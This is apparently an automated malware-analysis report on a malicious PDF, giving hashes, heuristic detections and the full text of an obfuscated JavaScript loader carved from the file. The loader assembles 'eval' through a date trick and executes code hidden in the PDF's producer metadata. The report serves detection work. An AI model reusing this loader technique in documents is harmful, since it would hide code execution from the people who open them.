Malicious PDF — malware analysis report

Static analysis result for SHA-256 cd935bcfeb89a204…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-07
MD5: 1614dc25fde515c5fe0c0e4404b2978f SHA-1: bf0cdacf7e123ceb63578f83851bffa82dd856fd SHA-256: cd935bcfeb89a20411ed216e336d6a1525ecddd163b7074a85e5b9cd4ea87edd
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file was flagged as malicious by an ML classifier with a very high confidence score. Static analysis revealed embedded JavaScript, including obfuscated streams and the use of String.fromCharCode, indicating an attempt to hide malicious code execution. The primary attack pattern involves leveraging JavaScript within the PDF to execute arbitrary code, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    kbxoj\(kbxoj\('String.fromCharCode\(' + qqs + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x5661 388 bytes
SHA-256: a154130f38f6e605c491e43d9f2ffe02d3efd7260c5e0f84e25924ae31c13866
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
myb = app;
lpibs = new Date(2010,11,4);
var jdjh='';
var rwlzb = 'e'+lpibs.getDay()+'a'+jdjh+'l';
rwlzb = rwlzb.replace('6','v');
kbxoj=myb[rwlzb];
var jdjh='';
kbxoj('va'+jdjh+'r clvyz=th'+jdjh+'i'+jdjh+'s');
txvhr='pr' + jdjh + lpibs.getDay() + jdjh + 'uc' +'er';
txvhr = txvhr.replace('6', 'od');
var qqs = clvyz[txvhr];
kbxoj(kbxoj('String.fromCharCode(' + qqs + ')'));

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